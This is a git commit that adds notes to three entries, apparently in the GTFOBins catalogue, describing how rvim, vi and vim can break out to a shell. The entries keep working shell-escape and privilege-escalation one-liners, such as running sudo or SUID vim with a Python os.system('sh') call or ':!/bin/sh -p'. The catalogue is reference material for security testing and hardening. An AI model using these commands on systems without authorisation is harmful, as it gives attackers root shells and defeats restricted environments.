Polish rvim, vi, and vim

master
Emilio Pinna 2018-12-03 13:15:57 +00:00
parent bd0cad0433
commit 279381cf3c
3 changed files with 15 additions and 8 deletions

View File

@ -1,10 +1,11 @@
---
description: 'From the manual: with rvim "It will not be possible to start shell commands".'
functions:
shell:
- code: rvim -c ':py import os;os.system("sh")'
- description: This requires that rvim is compiled with Python support.
code: rvim -c ':py import os;os.system("sh")'
file-write:
- code: |
- description: This requires that rvim is compiled with Python support.
code: |
rvim file_to_write
iDATA
^[
@ -12,7 +13,9 @@ functions:
file-read:
- code: rvim file_to_read
suid:
- code: ./rvim -c ':py import os;os.system("sh")'
- description: This requires that rvim is compiled with Python support.
code: ./rvim -c ':py import os;os.system("sh")'
sudo:
- code: sudo rvim -c ':py import os;os.system("sh")'
- description: This requires that rvim is compiled with Python support.
code: sudo rvim -c ':py import os;os.system("sh")'
---

View File

@ -6,7 +6,8 @@ functions:
vi
:set shell=/bin/sh
:shell
- code: vi -c ':py import os;os.system("sh")'
- description: This requires that vi is compiled with Python support.
code: vi -c ':py import os;os.system("sh")'
file-write:
- code: |
vi file_to_write
@ -19,5 +20,6 @@ functions:
- code: ./vi -c ':!/bin/sh -p'
sudo:
- code: sudo vi -c ':!/bin/sh'
- code: sudo vi -c ':py import os;os.system("sh")'
- description: This requires that vi is compiled with Python support.
code: sudo vi -c ':py import os;os.system("sh")'
---

View File

@ -6,7 +6,8 @@ functions:
vim
:set shell=/bin/sh
:shell
- code: vim -c ':py import os;os.system("sh")'
- description: This requires that vim is compiled with Python support.
code: vim -c ':py import os;os.system("sh")'
file-write:
- code: |
vim file_to_write
@ -20,4 +21,5 @@ functions:
sudo:
- code: sudo vim -c ':!/bin/sh'
- code: sudo vim -c ':py import os;os.system("sh")'
description: This requires that vim is compiled with Python support.
---